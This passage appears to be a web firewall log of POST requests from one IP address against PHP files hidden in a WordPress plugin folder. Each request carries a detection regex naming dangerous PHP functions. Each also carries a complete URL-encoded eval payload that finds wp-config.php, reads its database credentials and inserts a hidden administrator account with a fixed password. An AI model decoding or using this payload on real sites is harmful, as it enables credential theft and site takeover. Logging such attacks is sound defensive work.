%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:22:09","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 11:22:22","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%